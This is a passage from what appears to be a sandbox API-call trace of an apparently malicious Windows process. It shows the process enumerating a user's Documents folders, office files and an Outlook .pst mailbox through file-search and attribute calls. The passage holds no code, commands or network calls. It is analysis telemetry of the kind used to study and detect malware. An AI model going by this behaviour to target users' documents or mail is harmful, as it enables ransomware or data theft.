"c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0\\jgqha5ln0.ppt")) returned 0x20 [0162.414] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\SJUHCcPfr3Mqu.pps" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0\\sjuhccpfr3mqu.pps")) returned 0x20 [0162.414] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\aGLcXTU.ods" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\aglcxtu.ods")) returned 0x20 [0162.415] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\j_xc70wda-y.xlsx")) returned 0x20 [0162.415] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x48 [0162.415] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx", nBufferLength=0x48, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx", lpFilePart=0x0) returned 0x47 [0162.415] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\j_xc70wda-y.xlsx")) returned 0x20 [0162.415] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\nvE-BwCAPR.pps" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\nve-bwcapr.pps")) returned 0x20 [0162.416] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\SIY8bVb4S.csv" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\siy8bvb4s.csv")) returned 0x20 [0162.416] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\vztlnw.docx")) returned 0x20 [0162.416] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0162.416] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx", nBufferLength=0x43, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx", lpFilePart=0x0) returned 0x42 [0162.416] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\vztlnw.docx")) returned 0x20 [0162.417] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk")) returned 0x10 [0162.417] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk")) returned 0x10 [0162.417] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0162.417] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK", lpFilePart=0x0) returned 0x32 [0162.417] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea10) returned 1 [0162.417] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0162.417] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK", lpFilePart=0x0) returned 0x32 [0162.417] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk\\*"), lpFindFileData=0x5a2e7c0 | out: lpFindFileData=0x5a2e7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe32f3710, ftCreationTime.dwHighDateTime=0x1d98d51, ftLastAccessTime.dwLowDateTime=0xe5fa3f80, ftLastAccessTime.dwHighDateTime=0x1d98db5, ftLastWriteTime.dwLowDateTime=0xe5fa3f80, ftLastWriteTime.dwHighDateTime=0x1d98db5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f28 [0162.417] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea10) returned 1 [0162.418] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0162.418] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK", lpFilePart=0x0) returned 0x32 [0162.418] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk\\*"), lpFindFileData=0x5a2e7c0 | out: lpFindFileData=0x5a2e7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe32f3710, ftCreationTime.dwHighDateTime=0x1d98d51, ftLastAccessTime.dwLowDateTime=0xe5fa3f80, ftLastAccessTime.dwHighDateTime=0x1d98db5, ftLastWriteTime.dwLowDateTime=0xe5fa3f80, ftLastWriteTime.dwHighDateTime=0x1d98db5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f68 [0162.418] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe32f3710, ftCreationTime.dwHighDateTime=0x1d98d51, ftLastAccessTime.dwLowDateTime=0xe5fa3f80, ftLastAccessTime.dwHighDateTime=0x1d98db5, ftLastWriteTime.dwLowDateTime=0xe5fa3f80, ftLastWriteTime.dwHighDateTime=0x1d98db5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.418] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f03ad10, ftCreationTime.dwHighDateTime=0x1d99aaa, ftLastAccessTime.dwLowDateTime=0xcc695690, ftLastAccessTime.dwHighDateTime=0x1d99d6a, ftLastWriteTime.dwLowDateTime=0xcc695690, ftLastWriteTime.dwHighDateTime=0x1d99d6a, nFileSizeHigh=0x0, nFileSizeLow=0x7004, dwReserved0=0x0, dwReserved1=0x0, cFileName="ez6M.ots", cAlternateFileName="")) returned 1 [0162.418] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebe9e70, ftCreationTime.dwHighDateTime=0x1d99cd9, ftLastAccessTime.dwLowDateTime=0xba4cd830, ftLastAccessTime.dwHighDateTime=0x1d99d90, ftLastWriteTime.dwLowDateTime=0xba4cd830, ftLastWriteTime.dwHighDateTime=0x1d99d90, nFileSizeHigh=0x0, nFileSizeLow=0x6494, dwReserved0=0x0, dwReserved1=0x0, cFileName="n2mooDz97hN Hy_Rw.doc", cAlternateFileName="N2MOOD~1.DOC")) returned 1 [0162.418] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4caf3a50, ftCreationTime.dwHighDateTime=0x1d98e6a, ftLastAccessTime.dwLowDateTime=0xa1ef77f0, ftLastAccessTime.dwHighDateTime=0x1d98fd2, ftLastWriteTime.dwLowDateTime=0xa1ef77f0, ftLastWriteTime.dwHighDateTime=0x1d98fd2, nFileSizeHigh=0x0, nFileSizeLow=0x16851, dwReserved0=0x0, dwReserved1=0x0, cFileName="pdQIuyEXG.odp", cAlternateFileName="PDQIUY~1.ODP")) returned 1 [0162.418] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38ac1110, ftCreationTime.dwHighDateTime=0x1d98ed1, ftLastAccessTime.dwLowDateTime=0xbe250fe0, ftLastAccessTime.dwHighDateTime=0x1d98f17, ftLastWriteTime.dwLowDateTime=0xbe250fe0, ftLastWriteTime.dwHighDateTime=0x1d98f17, nFileSizeHigh=0x0, nFileSizeLow=0xceb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="TiksC6kLaNE3N.ppt", cAlternateFileName="TIKSC6~1.PPT")) returned 1 [0162.419] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38ac1110, ftCreationTime.dwHighDateTime=0x1d98ed1, ftLastAccessTime.dwLowDateTime=0xbe250fe0, ftLastAccessTime.dwHighDateTime=0x1d98f17, ftLastWriteTime.dwLowDateTime=0xbe250fe0, ftLastWriteTime.dwHighDateTime=0x1d98f17, nFileSizeHigh=0x0, nFileSizeLow=0xceb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="TiksC6kLaNE3N.ppt", cAlternateFileName="TIKSC6~1.PPT")) returned 0 [0162.419] FindClose (in: hFindFile=0x3b4f28 | out: hFindFile=0x3b4f28) returned 1 [0162.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e7cc) returned 1 [0162.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea2c) returned 1 [0162.419] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe32f3710, ftCreationTime.dwHighDateTime=0x1d98d51, ftLastAccessTime.dwLowDateTime=0xe5fa3f80, ftLastAccessTime.dwHighDateTime=0x1d98db5, ftLastWriteTime.dwLowDateTime=0xe5fa3f80, ftLastWriteTime.dwHighDateTime=0x1d98db5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.419] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f03ad10, ftCreationTime.dwHighDateTime=0x1d99aaa, ftLastAccessTime.dwLowDateTime=0xcc695690, ftLastAccessTime.dwHighDateTime=0x1d99d6a, ftLastWriteTime.dwLowDateTime=0xcc695690, ftLastWriteTime.dwHighDateTime=0x1d99d6a, nFileSizeHigh=0x0, nFileSizeLow=0x7004, dwReserved0=0x0, dwReserved1=0x0, cFileName="ez6M.ots", cAlternateFileName="")) returned 1 [0162.419] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebe9e70, ftCreationTime.dwHighDateTime=0x1d99cd9, ftLastAccessTime.dwLowDateTime=0xba4cd830, ftLastAccessTime.dwHighDateTime=0x1d99d90, ftLastWriteTime.dwLowDateTime=0xba4cd830, ftLastWriteTime.dwHighDateTime=0x1d99d90, nFileSizeHigh=0x0, nFileSizeLow=0x6494, dwReserved0=0x0, dwReserved1=0x0, cFileName="n2mooDz97hN Hy_Rw.doc", cAlternateFileName="N2MOOD~1.DOC")) returned 1 [0162.419] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4caf3a50, ftCreationTime.dwHighDateTime=0x1d98e6a, ftLastAccessTime.dwLowDateTime=0xa1ef77f0, ftLastAccessTime.dwHighDateTime=0x1d98fd2, ftLastWriteTime.dwLowDateTime=0xa1ef77f0, ftLastWriteTime.dwHighDateTime=0x1d98fd2, nFileSizeHigh=0x0, nFileSizeLow=0x16851, dwReserved0=0x0, dwReserved1=0x0, cFileName="pdQIuyEXG.odp", cAlternateFileName="PDQIUY~1.ODP")) returned 1 [0162.420] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38ac1110, ftCreationTime.dwHighDateTime=0x1d98ed1, ftLastAccessTime.dwLowDateTime=0xbe250fe0, ftLastAccessTime.dwHighDateTime=0x1d98f17, ftLastWriteTime.dwLowDateTime=0xbe250fe0, ftLastWriteTime.dwHighDateTime=0x1d98f17, nFileSizeHigh=0x0, nFileSizeLow=0xceb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="TiksC6kLaNE3N.ppt", cAlternateFileName="TIKSC6~1.PPT")) returned 1 [0162.420] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.420] FindClose (in: hFindFile=0x3b4f68 | out: hFindFile=0x3b4f68) returned 1 [0162.420] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e7cc) returned 1 [0162.420] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea2c) returned 1 [0162.421] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\ez6M.ots" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk\\ez6m.ots")) returned 0x20 [0162.421] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk\\n2moodz97hn hy_rw.doc")) returned 0x20 [0162.421] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0162.421] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc", nBufferLength=0x49, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc", lpFilePart=0x0) returned 0x48 [0162.421] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk\\n2moodz97hn hy_rw.doc")) returned 0x20 [0162.422] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\pdQIuyEXG.odp" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk\\pdqiuyexg.odp")) returned 0x20 [0162.422] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk\\tiksc6klane3n.ppt")) returned 0x20 [0162.422] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0162.422] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt", nBufferLength=0x45, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt", lpFilePart=0x0) returned 0x44 [0162.422] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk\\tiksc6klane3n.ppt")) returned 0x20 [0162.422] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\_e4_60ksbs_d7zx.pptx")) returned 0x20 [0162.423] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0162.423] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx", nBufferLength=0x41, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx", lpFilePart=0x0) returned 0x40 [0162.423] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\_e4_60ksbs_d7zx.pptx")) returned 0x20 [0162.423] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\5D01uFxJEQEiVQ.odt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\5d01ufxjeqeivq.odt")) returned 0x20 [0162.424] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\Jyu4xCBus55F.pps" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\jyu4xcbus55f.pps")) returned 0x20 [0162.424] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files" (normalized: "c:\\users\\keecfmwgj\\documents\\outlook files")) returned 0x10 [0162.604] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files" (normalized: "c:\\users\\keecfmwgj\\documents\\outlook files")) returned 0x10 [0162.604] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0162.604] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files", nBufferLength=0x2b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x2a [0162.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb10) returned 1 [0162.604] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0162.604] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files", nBufferLength=0x2b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x2a [0162.605] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\outlook files\\*"), lpFindFileData=0x5a2e8c0 | out: lpFindFileData=0x5a2e8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d6f7390, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x21e55d50, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x21e55d50, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f68 [0162.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb10) returned 1 [0162.605] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0162.605] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files", nBufferLength=0x2b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x2a [0162.606] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\outlook files\\*"), lpFindFileData=0x5a2e8c0 | out: lpFindFileData=0x5a2e8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d6f7390, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x21e55d50, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x21e55d50, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f28 [0162.606] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d6f7390, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x21e55d50, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x21e55d50, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.606] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4d7697b0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x4d7697b0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3aa38830, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="franc@gdllo.de.pst", cAlternateFileName="FRANC@~1.PST")) returned 1 [0162.606] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4d7697b0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x4d7697b0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3aa38830, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="franc@gdllo.de.pst", cAlternateFileName="FRANC@~1.PST")) returned 0 [0162.606] FindClose (in: hFindFile=0x3b4f68 | out: hFindFile=0x3b4f68) returned 1 [0162.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8cc) returned 1 [0162.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb2c) returned 1 [0162.606] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d6f7390, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x21e55d50, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x21e55d50, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.606] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4d7697b0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x4d7697b0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3aa38830, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="franc@gdllo.de.pst", cAlternateFileName="FRANC@~1.PST")) returned 1 [0162.607] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.607] FindClose (in: hFindFile=0x3b4f28 | out: hFindFile=0x3b4f28) returned 1 [0162.607] SetThreadErrorMode 